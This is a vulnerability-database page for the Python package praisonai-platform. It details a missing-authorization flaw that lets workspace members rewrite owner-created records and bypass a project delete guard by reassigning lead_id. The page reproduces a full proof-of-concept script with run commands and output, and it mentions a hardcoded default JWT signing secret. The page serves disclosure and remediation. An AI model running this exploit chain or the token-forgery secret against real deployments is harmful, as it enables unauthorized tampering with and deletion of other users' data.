Vulnerabilities in pkg:pypi/praisonai-platform

PACKAGE
Advisory Identifier: GHSA-c78w-2q4r-68r7
Advisory Summary

CVE-2026-61442 is a HIGH (CVSS 7.1) remote code execution vulnerability (CWE-862: Missing Authorization) affecting PraisonAI libraries in the PyPI ecosystem. The issue involves platform member patch routes allow owner resource rewrites and project lead reassignment delete bypass. Remediation is available by upgrading affected packages to version 0.1.9.

26 Known Advisory Record(s)
Package Vulnerability Intelligence

pkg:pypi/praisonai-platform

26 Known Advisory Record(s)

Vulnerability advisories affecting package pkg:pypi/praisonai-platform. Select an advisory below to view technical details or fixes.

Advisory ID CVE / NVD Severity Summary
GHSA-c78w-2q4r-68r7 CVE-2026-61442 HIGH PraisonAI: Platform member PATCH routes allow owner resource rewrites and project lead reassignment delete bypass
GHSA-f996-h3c6-gcwg - HIGH Duplicate Advisory: PraisonAI: Platform member PATCH routes allow owner resource rewrites and project lead reassignment delete bypass
GHSA-xxgv-vgvj-qvxh CVE-2026-61440 MODERATE PraisonAI: Platform members can rewrite shared labels and owner issue labels without owner/admin authorization
GHSA-vp55-5c2v-3597 - HIGH Duplicate Advisory: PraisonAI: Platform members can rewrite shared labels and owner issue labels without owner/admin authorization
GHSA-mxmx-rh57-jx58 CVE-2026-62179 MODERATE PraisonAI: Platform members can delete owner issue dependencies through member-owned related issues
GHSA-gv23-xrm3-8c62 CVE-2026-48169 HIGH PraisonAI has Cross-Workspace IDOR and Privilege Escalation via Platform API
GHSA-f38v-77qj-h4jq CVE-2026-57148 CRITICAL praisonai-platform 0.1.4 still boots on the hardcoded JWT secret dev-secret-change-me (default-open production guard)
GHSA-cwj8-7gp2-ggcw CVE-2026-57147 CRITICAL praisonai-platform: default JWT signing secret 'dev-secret-change-me' enables token forgery
GHSA-rh39-9c67-59mh CVE-2026-57121 HIGH PraisonAI: Missing ownership check on DELETE endpoints allows members to delete others' content in Platform API
GHSA-2fjj-qqg8-fg7x - MODERATE praisonai-platform: Authorization Bypass Through User-Controlled Key
GHSA-7p8g-6c6g-h9w7 CVE-2026-47419 HIGH praisonai-platform: Agent endpoints accept any agent_id without workspace ownership check, cross-workspace read/update/delete IDOR
GHSA-g8rr-7rj2-f627 CVE-2026-47412 HIGH praisonai-platform: Any workspace member can delete the entire workspace via DELETE /workspaces/{id}
GHSA-xwq8-frcg-77q8 CVE-2026-47415 HIGH praisonai-platform: Issue endpoints accept any issue_id without workspace ownership check, cross-workspace read/update/delete IDOR
GHSA-8g2p-pqm3-fcfh CVE-2026-47413 CRITICAL praisonai-platform: Any workspace member can add arbitrary user as owner via POST /workspaces/{id}/members
GHSA-rcmc-q9rj-4wmq CVE-2026-47411 MODERATE praisonai-platform: Any workspace member can rewrite workspace name, description, and settings via PATCH /workspaces/{id}
GHSA-cp4f-5m9r-5jc2 CVE-2026-47417 HIGH praisonai-platform: Comment endpoints accept any issue_id without workspace ownership check, cross-workspace comment read and post IDOR
GHSA-943m-6wx2-rc2j CVE-2026-47418 HIGH praisonai-platform: Project endpoints accept any project_id without workspace ownership check, cross-workspace read/update/delete IDOR
GHSA-c2m8-4gcg-v22g CVE-2026-47416 CRITICAL praisonai-platform: Any workspace member can promote themselves or others to owner via PATCH /workspaces/{id}/members/{user_id}
GHSA-w388-2392-px73 CVE-2026-47409 HIGH praisonai-platform: Missing authorization on member removal enables full workspace takeover by any user regardless of role
GHSA-5jx9-w35f-vp65 CVE-2026-47414 HIGH praisonai-platform: Label endpoints' unchecked label_id/issue_id enable cross-workspace label IDOR (edit, delete, link)
GHSA-4x6r-9v57-3gqw CVE-2026-47406 HIGH praisonai-platform: IDOR in dependency endpoints allows cross-workspace issue linking, reading, and deletion due to missing ownership checks
GHSA-3qg8-5g3r-79v5 CVE-2026-47410 CRITICAL praisonai-platform: JWT signing key defaults to hardcoded "dev-secret-change-me", allowing token forgery for any user when PLATFORM_ENV is unset
GHSA-h37g-4h4p-9x97 CVE-2026-47405 HIGH PraisonAI Platform: Missing role checks let any workspace member become owner and control workspace membership
GHSA-6h6v-6m7w-7vxx CVE-2026-47399 HIGH PraisonAI Platform workspace-scoped routes allow cross-workspace object access by global object ID
GHSA-h8q5-cp56-rr65 CVE-2026-47407 CRITICAL PraisonAI Platform has a cross-workspace IDOR + member-role privilege escalation
GHSA-27p4-pjqv-whgj CVE-2026-47408 MODERATE praisonai-platform: list_issue_activity returns activity log for any issue regardless of workspace ownership

CVE-2026-61442 at a Glance

CVE Identifier CVE-2026-61442
GHSA Identifier GHSA-c78w-2q4r-68r7
Severity HIGH
CVSS v3.1 Base Score 7.1
CWE Classification CWE-862: Missing Authorization
Affected Product PraisonAI
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 7.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity High (I:H)
Availability Low (A:L)

How to Fix CVE-2026-61442

To remediate this vulnerability, upgrade all affected PraisonAI dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

praisonai-platform fixed: 0.1.9
pip install praisonai-platform>=0.1.9
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show praisonai-platform

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-61442, inspect your installed packages using pip:

pip show praisonai-platform

Analyze the terminal output to locate any version of PraisonAI in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.1.9), your application is affected.

Note: The pip show praisonai-platform command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-862: Missing Authorization, where the product does not perform an authorization check when an actor attempts to access a resource or perform an action. In PraisonAI, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

# Platform member PATCH routes allow owner resource rewrites and project lead reassignment delete bypass ## Summary `praisonai-platform` lets an ordinary workspace member patch owner-created project, issue, and agent records even though the paired delete routes enforce owner/admin authorization. For projects, the member can first patch `lead_id` to their own user id and then delete the owner-created project, bypassing a delete guard that correctly returned `403` before the reassignment. ## Technical Details The affected boundary is the difference between "is a workspace member" and "owns or administers this resource". `src/praisonai-platform/praisonai_platform/api/deps.py` defines `require_workspace_member`, `require_workspace_admin`, `require_workspace_owner`, and `require_delete_permission`. `require_workspace_member` only checks that the caller has at least the `member` role in the workspace, while `require_delete_permission` allows delete only for workspace admins/owners or the resource owner. The project update route in `src/praisonai-platform/praisonai_platform/api/routes/projects.py` defines `PATCH /workspaces/{workspace_id}/projects/{project_id}` with `user: AuthIdentity = Depends(require_workspace_member)`. It passes `title`, `description`, `status`, `lead_type`, and `lead_id` into `ProjectService.update`. `src/praisonai-platform/praisonai_platform/services/project_service.py` then writes `project.lead_id = lead_id` when supplied. The paired project delete route first loads the project and calls `require_delete_permission(workspace_id, user, session, resource_owner_id=project.lead_id)`. This means an ordinary member can mutate the ownership field that the delete route later trusts. The same update/delete asymmetry exists for issues and agents. `src/praisonai-platform/praisonai_platform/api/routes/issues.py` defines `PATCH /workspaces/{workspace_id}/issues/{issue_id}` with only `require_workspace_member`, validates referenced ids are in the workspace, then calls `IssueService.update` to write fields including `title`, `description`, `status`, `priority`, `assignee_id`, and `project_id`. The paired delete route checks `resource_owner_id=issue.creator_id`. `src/praisonai-platform/praisonai_platform/api/routes/agents.py` defines `PATCH /workspaces/{workspace_id}/agents/{agent_id}` with only `require_workspace_member` and calls `AgentService.update` to write fields including `instructions`, `runtime_mode`, and `runtime_config`; the paired delete route checks `resource_owner_id=agent.owner_id`. The intended owner/admin boundary is visible from the delete routes and from the local negative controls: a workspace member cannot directly delete an owner-created project, issue, or agent, and a non-member cannot patch an issue. The vulnerability is that the PATCH routes do not apply an equivalent owner/admin or resource-specific update guard. ## PoV the PoV starts an in-memory FastAPI app backed by SQLite, creates an owner, a member, and an outsider, adds the member to the owner's workspace, then exercises the project, issue, and agent routes without touching any live service. Essential excerpt: ```python direct_delete_project = await client.delete( f"/api/v1/workspaces/{workspace_id}/projects/{project_id}", headers=member_headers, ) patch_project = await client.patch( f"/api/v1/workspaces/{workspace_id}/projects/{project_id}", json={ "title": "Member-controlled project", "status": "active", "lead_type": "member", "lead_id": member_id, }, headers=member_headers, ) delete_project_after_takeover = await client.delete( f"/api/v1/workspaces/{workspace_id}/projects/{project_id}", headers=member_headers, ) patch_issue = await client.patch( f"/api/v1/workspaces/{workspace_id}/issues/{issue_id}", json={"title": "Member rewrote owner issue", "status": "done"}, headers=member_headers, ) patch_agent = await client.patch( f"/api/v1/workspaces/{workspace_id}/agents/{agent_id}", json={"instructions": "member-controlled instructions", "status": "idle"}, headers=member_headers, ) outsider_patch_issue = await client.patch( f"/api/v1/workspaces/{workspace_id}/issues/{issue_id}", json={"title": "outsider attempt"}, headers=outsider_headers, ) ``` The full PoV script is included in the appendix below as `pov_platform_member_update_bypass.py`. ## PoC Current head tested: ```text 846568c7a5d8ce9e71e56e4c213f027c04909753 2026-06-17T20:13:04+01:00 chore: clean up redundant 'persist-credentials' entries in GitHub workflows ``` Run against a local checkout of current head: ```sh uv run --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with 'pydantic[email]>=2.10.0' --with PyJWT --with 'passlib[bcrypt]>=1.7.4' --with 'bcrypt==4.0.1' python pov_platform_member_update_bypass.py --repo /path/to/PraisonAI --json ``` Decisive current-head output: ```json { "source": "git:846568c7a5d8ce9e71e56e4c213f027c04909753", "workspace_role": "member", "checks": { "member_direct_project_delete_before_patch": 403, "member_project_patch_lead_to_self": 200, "member_project_delete_after_lead_takeover": 204, "owner_get_project_after_member_delete": 404, "member_issue_patch": 200, "owner_observes_member_issue_title": "Member rewrote owner issue", "member_issue_delete_after_patch": 403, "member_agent_patch": 200, "owner_observes_member_agent_instructions": "member-controlled instructions", "member_agent_delete_after_patch": 403, "non_member_issue_patch": 403 }, "vulnerable": true } ``` Run against the latest PyPI package observed during testing: ```sh uv run --with 'praisonai-platform==0.1.8' --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with 'pydantic[email]>=2.10.0' --with PyJWT --with 'passlib[bcrypt]>=1.7.4' --with 'bcrypt==4.0.1' python pov_platform_member_update_bypass.py --json ``` Decisive latest-PyPI output: ```json { "source": "pypi:praisonai-platform==0.1.8", "workspace_role": "member", "checks": { "member_direct_project_delete_before_patch": 403, "member_project_patch_lead_to_self": 200, "member_project_delete_after_lead_takeover": 204, "owner_get_project_after_member_delete": 404, "member_issue_patch": 200, "owner_observes_member_issue_title": "Member rewrote owner issue", "member_issue_delete_after_patch": 403, "member_agent_patch": 200, "owner_observes_member_agent_instructions": "member-controlled instructions", "member_agent_delete_after_patch": 403, "non_member_issue_patch": 403 }, "vulnerable": true } ``` Version sweep excerpt: ```text praisonai-platform 0.1.4: member PATCH project/issue/agent returned 200, but direct member DELETE also returned 204, so the current delete-guard bypass is masked by broader older delete authorization behavior. praisonai-platform 0.1.6: direct project DELETE returned 403, member PATCH set lead to self returned 200, project DELETE after lead takeover returned 204, issue/agent PATCH returned 200, issue/agent DELETE returned 403. praisonai-platform 0.1.8: direct project DELETE returned 403, member PATCH set lead to self returned 200, project DELETE after lead takeover returned 204, issue/agent PATCH returned 200, issue/agent DELETE returned 403. ``` ## Impact An ordinary workspace member can modify owner-created Platform records that should remain owner/admin controlled. For projects, the member can turn a denied direct delete into an allowed delete by reassigning `lead_id` through PATCH, causing owner project data loss. For issues, the member can rewrite owner-created titles/statuses while delete remains blocked. For agents, the member can replace owner-created instructions and runtime-related configuration fields while delete remains blocked. In a shared workspace, this is a concrete integrity violation and can disrupt work tracking or agent behavior. Suggested severity: High. Suggested CVSS v3.1: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L` (7.1). Suggested CWEs: `CWE-862` Missing Authorization and `CWE-863` Incorrect Authorization. The score is conservative: it assumes the attacker already has ordinary workspace member privileges and does not claim confidentiality impact. ## Suggested Fix Apply resource-specific update authorization before mutating project, issue, or agent records. A straightforward approach is to mirror the delete route's owner/admin check for PATCH routes, or introduce a `require_update_permission` helper that allows workspace admins/owners and the relevant resource owner only. For projects, do not let an ordinary member set `lead_id` on an existing owner-created project. Treat lead reassignment as an admin/owner operation, and validate that the new lead belongs to the workspace and is eligible for that role. Add regression tests for these cases: a plain member cannot patch an owner-created project, issue, or agent; a member cannot reassign project `lead_id` to gain delete permission; owner/admin callers can still patch according to intended policy; a non-member still receives `403`. ## Affected Package/Versions Affected package: `pypi:praisonai-platform`. Latest PyPI version observed during testing: `0.1.8`. Current head `846568c7a5d8ce9e71e56e4c213f027c04909753` is affected. The owner/admin update authorization gap is confirmed in sampled versions `0.1.4`, `0.1.6`, `0.1.8`, and current head. The specific project delete-guard bypass through `lead_id` reassignment is confirmed in `0.1.6`, `0.1.8`, and current head. In `0.1.4`, direct member deletes already returned `204`, so the lead-reassignment chain is masked by a broader older delete issue. Suggested affected range for the update authorization gap: `pypi:praisonai-platform >=0.1.4, <=0.1.8`. Suggested affected range for the project lead-reassignment delete bypass after delete checks were introduced: `pypi:praisonai-platform >=0.1.6, <=0.1.8`. No fixed version or fix commit was observed. ## Advisory History Visible PraisonAI Platform advisories include several related authorization fixes, but the checked public advisories do not appear to cover this same same-workspace PATCH authorization gap and project `lead_id` delete-guard bypass. `GHSA-rh39-9c67-59mh`, "Missing ownership check on DELETE endpoints allows members to delete others' content in Platform API", covers DELETE endpoints. This report is distinct because the PoV shows direct project DELETE is denied with `403`, then PATCH succeeds, then DELETE succeeds only after `lead_id` is reassigned through the update route. `GHSA-2fjj-qqg8-fg7x`, "Authorization Bypass Through User-Controlled Key in praisonai-platform", covers user-controlled `project_id` reference handling and cross-workspace stats pollution. This report does not rely on foreign workspace ids; the attacker is a legitimate member of the same workspace as the owner-created records. `GHSA-gv23-xrm3-8c62`, `GHSA-6h6v-6m7w-7vxx`, `GHSA-943m-6wx2-rc2j`, `GHSA-xwq8-frcg-77q8`, and `GHSA-7p8g-6c6g-h9w7` cover cross-workspace object access by global id. This report is scoped to same-workspace owner/admin authorization and includes a non-member negative control returning `403`. ## References - `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rh39-9c67-59mh` - `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-2fjj-qqg8-fg7x` - `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-gv23-xrm3-8c62` - `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-6h6v-6m7w-7vxx` - `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-943m-6wx2-rc2j` - `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-xwq8-frcg-77q8` - `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-7p8g-6c6g-h9w7` - `https://cwe.mitre.org/data/definitions/862.html` - `https://cwe.mitre.org/data/definitions/863.html` ## Appendix A - Longer Version Sweep ```text === praisonai-platform 0.1.4 === "member_direct_project_delete_before_patch": 204 "member_project_patch_lead_to_self": 404 "member_issue_patch": 200 "member_agent_patch": 200 "member_issue_delete_after_patch": 204 "member_agent_delete_after_patch": 204 "non_member_issue_patch": 403 === praisonai-platform 0.1.6 === "member_direct_project_delete_before_patch": 403 "member_project_patch_lead_to_self": 200 "member_project_delete_after_lead_takeover": 204 "owner_get_project_after_member_delete": 404 "member_issue_patch": 200 "member_issue_delete_after_patch": 403 "member_agent_patch": 200 "member_agent_delete_after_patch": 403 "non_member_issue_patch": 403 === praisonai-platform 0.1.8 === "member_direct_project_delete_before_patch": 403 "member_project_patch_lead_to_self": 200 "member_project_delete_after_lead_takeover": 204 "owner_get_project_after_member_delete": 404 "member_issue_patch": 200 "member_issue_delete_after_patch": 403 "member_agent_patch": 200 "member_agent_delete_after_patch": 403 "non_member_issue_patch": 403 ``` ## Appendix B - Full PoV Script Save this as `pov_platform_member_update_bypass.py` before running the PoC commands above. ```python #!/usr/bin/env python3 """PoV for PraisonAI Platform same-workspace member update bypass.""" from __future__ import annotations import argparse import asyncio import json import os import sys from pathlib import Path from typing import Any def _load_local_source(repo: Path | None) -> None: if repo is None: return platform_root = repo / "src" / "praisonai-platform" agents_root = repo / "src" / "praisonai-agents" for path in (str(platform_root), str(agents_root)): if path not in sys.path: sys.path.insert(0, path) async def _register(client: Any, email: str, name: str) -> tuple[str, str]: response = await client.post( "/api/v1/auth/register", json={"email": email, "password": "Password1!", "name": name}, ) if response.status_code >= 400: raise RuntimeError(f"register failed for {email}: {response.status_code} {response.text}") body = response.json() return body["token"], body["user"]["id"] async def _run(repo: Path | None) -> dict[str, Any]: os.environ["PLATFORM_JWT_SECRET"] = "local-poc-secret-32-bytes-minimum" _load_local_source(repo) from httpx import ASGITransport, AsyncClient from sqlalchemy.ext.asyncio import create_async_engine from praisonai_platform.api.app import create_app from praisonai_platform.db import base as base_mod from praisonai_platform.db.base import Base, reset_engine await reset_engine() engine = create_async_engine( "sqlite+aiosqlite:///:memory:", echo=False, connect_args={"check_same_thread": False}, ) base_mod._engine = engine base_mod._session_factory = None async with engine.begin() as conn: await conn.run_sync(Base.metadata.create_all) app = create_app() transport = ASGITransport(app=app) async with AsyncClient(transport=transport, base_url="http://local-poc") as client: owner_token, owner_id = await _register(client, "owner@example.com", "Owner") member_token, member_id = await _register(client, "member@example.com", "Member") outsider_token, _ = await _register(client, "outsider@example.com", "Outsider") owner_headers = {"Authorization": f"Bearer {owner_token}"} member_headers = {"Authorization": f"Bearer {member_token}"} outsider_headers = {"Authorization": f"Bearer {outsider_token}"} ws_resp = await client.post( "/api/v1/workspaces/", json={"name": "Shared Workspace", "slug": "shared-workspace"}, headers=owner_headers, ) ws_resp.raise_for_status() workspace_id = ws_resp.json()["id"] add_member = await client.post( f"/api/v1/workspaces/{workspace_id}/members", json={"user_id": member_id, "role": "member"}, headers=owner_headers, ) add_member.raise_for_status() project_resp = await client.post( f"/api/v1/workspaces/{workspace_id}/projects/", json={ "title": "Owner project", "description": "Owned by the workspace owner", "lead_type": "member", "lead_id": owner_id, }, headers=owner_headers, ) project_resp.raise_for_status() project_id = project_resp.json()["id"] direct_delete_project = await client.delete( f"/api/v1/workspaces/{workspace_id}/projects/{project_id}", headers=member_headers, ) patch_project = await client.patch( f"/api/v1/workspaces/{workspace_id}/projects/{project_id}", json={ "title": "Member-controlled project", "status": "active", "lead_type": "member", "lead_id": member_id, }, headers=member_headers, ) delete_project_after_takeover = await client.delete( f"/api/v1/workspaces/{workspace_id}/projects/{project_id}", headers=member_headers, ) owner_get_deleted_project = await client.get( f"/api/v1/workspaces/{workspace_id}/projects/{project_id}", headers=owner_headers, ) issue_resp = await client.post( f"/api/v1/workspaces/{workspace_id}/issues/", json={"title": "Owner issue", "priority": "high"}, headers=owner_headers, ) issue_resp.raise_for_status() issue_id = issue_resp.json()["id"] patch_issue = await client.patch( f"/api/v1/workspaces/{workspace_id}/issues/{issue_id}", json={"title": "Member rewrote owner issue", "status": "done"}, headers=member_headers, ) owner_get_issue = await client.get( f"/api/v1/workspaces/{workspace_id}/issues/{issue_id}", headers=owner_headers, ) delete_issue = await client.delete( f"/api/v1/workspaces/{workspace_id}/issues/{issue_id}", headers=member_headers, ) agent_resp = await client.post( f"/api/v1/workspaces/{workspace_id}/agents/", json={"name": "OwnerAgent", "instructions": "owner-only instructions"}, headers=owner_headers, ) agent_resp.raise_for_status() agent_id = agent_resp.json()["id"] patch_agent = await client.patch( f"/api/v1/workspaces/{workspace_id}/agents/{agent_id}", json={"instructions": "member-controlled instructions", "status": "idle"}, headers=member_headers, ) owner_get_agent = await client.get( f"/api/v1/workspaces/{workspace_id}/agents/{agent_id}", headers=owner_headers, ) delete_agent = await client.delete( f"/api/v1/workspaces/{workspace_id}/agents/{agent_id}", headers=member_headers, ) outsider_patch_issue = await client.patch( f"/api/v1/workspaces/{workspace_id}/issues/{issue_id}", json={"title": "outsider attempt"}, headers=outsider_headers, ) await engine.dispose() base_mod._engine = None base_mod._session_factory = None owner_issue_body = owner_get_issue.json() if owner_get_issue.status_code == 200 else {} owner_agent_body = owner_get_agent.json() if owner_get_agent.status_code == 200 else {} patch_project_body = patch_project.json() if patch_project.status_code == 200 else {} checks = { "member_direct_project_delete_before_patch": direct_delete_project.status_code, "member_project_patch_lead_to_self": patch_project.status_code, "member_project_delete_after_lead_takeover": delete_project_after_takeover.status_code, "owner_get_project_after_member_delete": owner_get_deleted_project.status_code, "member_issue_patch": patch_issue.status_code, "owner_observes_member_issue_title": owner_issue_body.get("title"), "member_issue_delete_after_patch": delete_issue.status_code, "member_agent_patch": patch_agent.status_code, "owner_observes_member_agent_instructions": owner_agent_body.get("instructions"), "member_agent_delete_after_patch": delete_agent.status_code, "non_member_issue_patch": outsider_patch_issue.status_code, } vulnerable = ( checks["member_direct_project_delete_before_patch"] == 403 and checks["member_project_patch_lead_to_self"] == 200 and patch_project_body.get("lead_id") == member_id and checks["member_project_delete_after_lead_takeover"] == 204 and checks["owner_get_project_after_member_delete"] == 404 and checks["member_issue_patch"] == 200 and checks["owner_observes_member_issue_title"] == "Member rewrote owner issue" and checks["member_issue_delete_after_patch"] == 403 and checks["member_agent_patch"] == 200 and checks["owner_observes_member_agent_instructions"] == "member-controlled instructions" and checks["member_agent_delete_after_patch"] == 403 and checks["non_member_issue_patch"] == 403 ) return { "package": "praisonai-platform", "source": _source_id(repo), "workspace_role": "member", "summary": "A workspace member can patch owner-created project, issue, and agent records. Project lead reassignment then bypasses the delete ownership guard.", "checks": checks, "vulnerable": vulnerable, } def _source_id(repo: Path | None) -> str: if repo is None: import importlib.metadata return f"pypi:praisonai-platform=={importlib.metadata.version('praisonai-platform')}" import subprocess rev = subprocess.check_output( ["git", "-C", str(repo), "rev-parse", "HEAD"], text=True, ).strip() return f"git:{rev}" def main() -> int: parser = argparse.ArgumentParser() parser.add_argument("--repo", type=Path) parser.add_argument("--json", action="store_true") args = parser.parse_args() result = asyncio.run(_run(args.repo.resolve() if args.repo else None)) if args.json: print(json.dumps(result, indent=2, sort_keys=True)) else: for key, value in result["checks"].items(): print(f"{key}: {value}") print(f"vulnerable: {result['vulnerable']}") return 0 if result["vulnerable"] else 1 if __name__ == "__main__": raise SystemExit(main()) ```

CVE-2026-61442 Affected PraisonAI Versions

1 component(s)
Fixed Versions:
0.1.9
Product / Package Ecosystem Affected Versions Fixed Version
praisonai-platform
PyPI
< 0.1.9
0.1.9

References

Frequently Asked Questions

What is CVE-2026-61442?
CVE-2026-61442 is a security vulnerability in PraisonAI involving Platform member PATCH routes allow owner resource rewrites and project lead reassignment delete bypass under CWE-862: Missing Authorization.
Which PraisonAI versions are affected?
Affected versions include releases prior to 0.1.9 across affected packages: praisonai-platform.
What version fixes CVE-2026-61442?
Upgrading to 0.1.9 (or the latest patched release for your respective branch) resolves the vulnerability.
Is praisonai-platform affected?
Yes, praisonai-platform is affected in releases prior to 0.1.9. Upgrade your dependency to 0.1.9 or later.
What is the CVSS score of CVE-2026-61442?
CVE-2026-61442 has a CVSS v3.1 base score of 7.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L.
What CWE is associated with CVE-2026-61442?
CVE-2026-61442 is classified under CWE-862: Missing Authorization (The product does not perform an authorization check when an actor attempts to access a resource or perform an action.).
How can I check PyPI dependencies for CVE-2026-61442?
Run the dependency tree command: 'pip show praisonai-platform'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-c78w-2q4r-68r7",
  "modified" : "2026-10-08T22:01:11Z",
  "published" : "2026-10-08T22:01:11Z",
  "aliases" : [ "CVE-2026-61442" ],
  "summary" : "PraisonAI: Platform member PATCH routes allow owner resource rewrites and project lead reassignment delete bypass",
  "details" : "# Platform member PATCH routes allow owner resource rewrites and project lead reassignment delete bypass\n\n## Summary\n\n`praisonai-platform` lets an ordinary workspace member patch owner-created project, issue, and agent records even though the paired delete routes enforce owner/admin authorization. For projects, the member can first patch `lead_id` to their own user id and then delete the owner-created project, bypassing a delete guard that correctly returned `403` before the reassignment.\n\n## Technical Details\n\nThe affected boundary is the difference between \"is a workspace member\" and \"owns or administers this resource\". `src/praisonai-platform/praisonai_platform/api/deps.py` defines `require_workspace_member`, `require_workspace_admin`, `require_workspace_owner`, and `require_delete_permission`. `require_workspace_member` only checks that the caller has at least the `member` role in the workspace, while `require_delete_permission` allows delete only for workspace admins/owners or the resource owner.\n\nThe project update route in `src/praisonai-platform/praisonai_platform/api/routes/projects.py` defines `PATCH /workspaces/{workspace_id}/projects/{project_id}` with `user: AuthIdentity = Depends(require_workspace_member)`. It passes `title`, `description`, `status`, `lead_type`, and `lead_id` into `ProjectService.update`. `src/praisonai-platform/praisonai_platform/services/project_service.py` then writes `project.lead_id = lead_id` when supplied. The paired project delete route first loads the project and calls `require_delete_permission(workspace_id, user, session, resource_owner_id=project.lead_id)`. This means an ordinary member can mutate the ownership field that the delete route later trusts.\n\nThe same update/delete asymmetry exists for issues and agents. `src/praisonai-platform/praisonai_platform/api/routes/issues.py` defines `PATCH /workspaces/{workspace_id}/issues/{issue_id}` with only `require_workspace_member`, validates referenced ids are in the workspace, then calls `IssueService.update` to write fields including `title`, `description`, `status`, `priority`, `assignee_id`, and `project_id`. The paired delete route checks `resource_owner_id=issue.creator_id`. `src/praisonai-platform/praisonai_platform/api/routes/agents.py` defines `PATCH /workspaces/{workspace_id}/agents/{agent_id}` with only `require_workspace_member` and calls `AgentService.update` to write fields including `instructions`, `runtime_mode`, and `runtime_config`; the paired delete route checks `resource_owner_id=agent.owner_id`.\n\nThe intended owner/admin boundary is visible from the delete routes and from the local negative controls: a workspace member cannot directly delete an owner-created project, issue, or agent, and a non-member cannot patch an issue. The vulnerability is that the PATCH routes do not apply an equivalent owner/admin or resource-specific update guard.\n\n## PoV\n\nthe PoV starts an in-memory FastAPI app backed by SQLite, creates an owner, a member, and an outsider, adds the member to the owner's workspace, then exercises the project, issue, and agent routes without touching any live service.\n\nEssential excerpt:\n\n```python\ndirect_delete_project = await client.delete(\n    f\"/api/v1/workspaces/{workspace_id}/projects/{project_id}\",\n    headers=member_headers,\n)\n\npatch_project = await client.patch(\n    f\"/api/v1/workspaces/{workspace_id}/projects/{project_id}\",\n    json={\n        \"title\": \"Member-controlled project\",\n        \"status\": \"active\",\n        \"lead_type\": \"member\",\n        \"lead_id\": member_id,\n    },\n    headers=member_headers,\n)\n\ndelete_project_after_takeover = await client.delete(\n    f\"/api/v1/workspaces/{workspace_id}/projects/{project_id}\",\n    headers=member_headers,\n)\n\npatch_issue = await client.patch(\n    f\"/api/v1/workspaces/{workspace_id}/issues/{issue_id}\",\n    json={\"title\": \"Member rewrote owner issue\", \"status\": \"done\"},\n    headers=member_headers,\n)\n\npatch_agent = await client.patch(\n    f\"/api/v1/workspaces/{workspace_id}/agents/{agent_id}\",\n    json={\"instructions\": \"member-controlled instructions\", \"status\": \"idle\"},\n    headers=member_headers,\n)\n\noutsider_patch_issue = await client.patch(\n    f\"/api/v1/workspaces/{workspace_id}/issues/{issue_id}\",\n    json={\"title\": \"outsider attempt\"},\n    headers=outsider_headers,\n)\n```\n\nThe full PoV script is included in the appendix below as `pov_platform_member_update_bypass.py`.\n\n## PoC\n\nCurrent head tested:\n\n```text\n846568c7a5d8ce9e71e56e4c213f027c04909753\n2026-06-17T20:13:04+01:00\nchore: clean up redundant 'persist-credentials' entries in GitHub workflows\n```\n\nRun against a local checkout of current head:\n\n```sh\nuv run --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with 'pydantic[email]>=2.10.0' --with PyJWT --with 'passlib[bcrypt]>=1.7.4' --with 'bcrypt==4.0.1' python pov_platform_member_update_bypass.py --repo /path/to/PraisonAI --json\n```\n\nDecisive current-head output:\n\n```json\n{\n  \"source\": \"git:846568c7a5d8ce9e71e56e4c213f027c04909753\",\n  \"workspace_role\": \"member\",\n  \"checks\": {\n    \"member_direct_project_delete_before_patch\": 403,\n    \"member_project_patch_lead_to_self\": 200,\n    \"member_project_delete_after_lead_takeover\": 204,\n    \"owner_get_project_after_member_delete\": 404,\n    \"member_issue_patch\": 200,\n    \"owner_observes_member_issue_title\": \"Member rewrote owner issue\",\n    \"member_issue_delete_after_patch\": 403,\n    \"member_agent_patch\": 200,\n    \"owner_observes_member_agent_instructions\": \"member-controlled instructions\",\n    \"member_agent_delete_after_patch\": 403,\n    \"non_member_issue_patch\": 403\n  },\n  \"vulnerable\": true\n}\n```\n\nRun against the latest PyPI package observed during testing:\n\n```sh\nuv run --with 'praisonai-platform==0.1.8' --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with 'pydantic[email]>=2.10.0' --with PyJWT --with 'passlib[bcrypt]>=1.7.4' --with 'bcrypt==4.0.1' python pov_platform_member_update_bypass.py --json\n```\n\nDecisive latest-PyPI output:\n\n```json\n{\n  \"source\": \"pypi:praisonai-platform==0.1.8\",\n  \"workspace_role\": \"member\",\n  \"checks\": {\n    \"member_direct_project_delete_before_patch\": 403,\n    \"member_project_patch_lead_to_self\": 200,\n    \"member_project_delete_after_lead_takeover\": 204,\n    \"owner_get_project_after_member_delete\": 404,\n    \"member_issue_patch\": 200,\n    \"owner_observes_member_issue_title\": \"Member rewrote owner issue\",\n    \"member_issue_delete_after_patch\": 403,\n    \"member_agent_patch\": 